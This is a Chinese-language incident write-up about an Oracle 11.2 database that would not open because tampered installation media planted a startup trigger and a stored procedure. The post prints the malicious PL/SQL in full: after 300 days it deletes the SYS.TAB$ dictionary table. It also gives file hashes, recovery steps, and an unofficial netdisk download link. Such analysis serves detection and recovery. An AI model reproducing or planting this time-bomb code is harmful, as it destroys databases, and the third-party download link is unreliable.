ORA-00600: internal error code, arguments:[16703],[1403],[20],[],[],[]異常處理過程
阿新 • • 發佈:2020-12-31
一、異常描述
一次Oracle資料庫重啟後無法開啟,startup的時候報錯:
二、異常原因
1、直接原因:資料庫tab$基表被刪除
2、根本原因:安裝資料庫時採用了被惡意篡改的安裝介質
正常的安裝介質md5值:
1616f61789891a56eafd40de79f58f28 p13390677_112040_Linux-x86-64_1of7.zip
67ba1e68a4f581b305885114768443d3 p13390677_112040_Linux-x86-64_2of7.zip
被篡改後的安裝介質md5值:
2ca21ca2f45a9878bdc7134d8e124173 p13390677_112040_Linux- x86-64_1of7.zip
67ba1e68a4f581b305885114768443d3 p13390677_112040_Linux-x86-64_2of7.zip
兩種安裝介質解壓後,database/stage/Components/oracle.rdbms.dbscripts/11.2.0.4.0/1/DataFiles目錄中的檔案會有所不同:
正常目錄內容及md5值:
bff53433fbc53ad2de552d23982a88e2 filegroup1.jar
01c614c65f814e4d23d236ad42365ddd filegroup2.jar
ca34fb5beaaf391e6cd636eef4aacea3 filegroup3. jar
5212a4335a076725dd66abdbdbc62d94 filegroup4.jar
異常目錄內容及md5值:
bff53433fbc53ad2de552d23982a88e2 filegroup1.jar
35bc3c691a25991edd70e8a37f2d1e53 filegroup2.jar
ca34fb5beaaf391e6cd636eef4aacea3 filegroup3.jar
5212a4335a076725dd66abdbdbc62d94 filegroup4.jar
正版Oracle11.2.0.4安裝檔案可通過以下連結獲取:
連結:Oracle11.2.0.4安裝檔案百度網盤連結
提取碼:wevs
使用被篡改的安裝介質安裝資料庫後,會在資料庫內建立一個名為DBMS_SUPPORT_DBMONITORP的儲存過程和名為DBMS_SUPPORT_DBMONITORP的觸發器
SELECT owner,created,object_name,object_type FROM dba_objects WHERE object_name LIKE '%DBMS_SUPPORT%';
儲存過程內容如下:
PROCEDURE DBMS_SUPPORT_DBMONITORP IS
DATE1 INT:=10;
BEGIN
SELECT TO_CHAR(SYSDATE-CREATED) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=300) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||'tablespace system as select * from sys.tab$';
DELETE SYS.TAB$;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
END IF;
END;
觸發器內容為:
create or replace trigger DBMS_SUPPORT_DBMONITOR
after startup on database
declare
begin
DBMS_SUPPORT_DBMONITOR;
end;
/
上述儲存過程和觸發器會在資料庫每次啟動時檢查資料庫建立時長,若超過300天則將基表tab$刪除
三、異常處理
1、第一次處理過程
(1)、啟動資料庫到mount狀態:startup mount
(2)、使用之前的資料庫備份進行恢復
(3)、open資料庫:alter database open resetlogs
結果:開啟失敗,繼續報錯ORA-00600
原因:備份中包含了DBMS_SUPPORT_DBMONITOR和DBMS_SUPPORT_DBMONITORP,open資料庫時會被觸發
2、第二次處理過程
(1)、啟動資料庫到mount狀態:startup mount
(2)、使用之前的資料庫備份進行恢復
(3)、將所有觸發器禁用:alter system set “_system_trig_enabled”=false
(4)、開啟資料庫:alter database open resetlogs,成功open
(5)、刪除惡意的觸發器和儲存過程:
(6)、重啟資料庫:shutdown immediate、startup
經過上述操作,資料庫可以正常關閉、啟動,再次查詢,惡意的儲存過程和觸發器已被刪除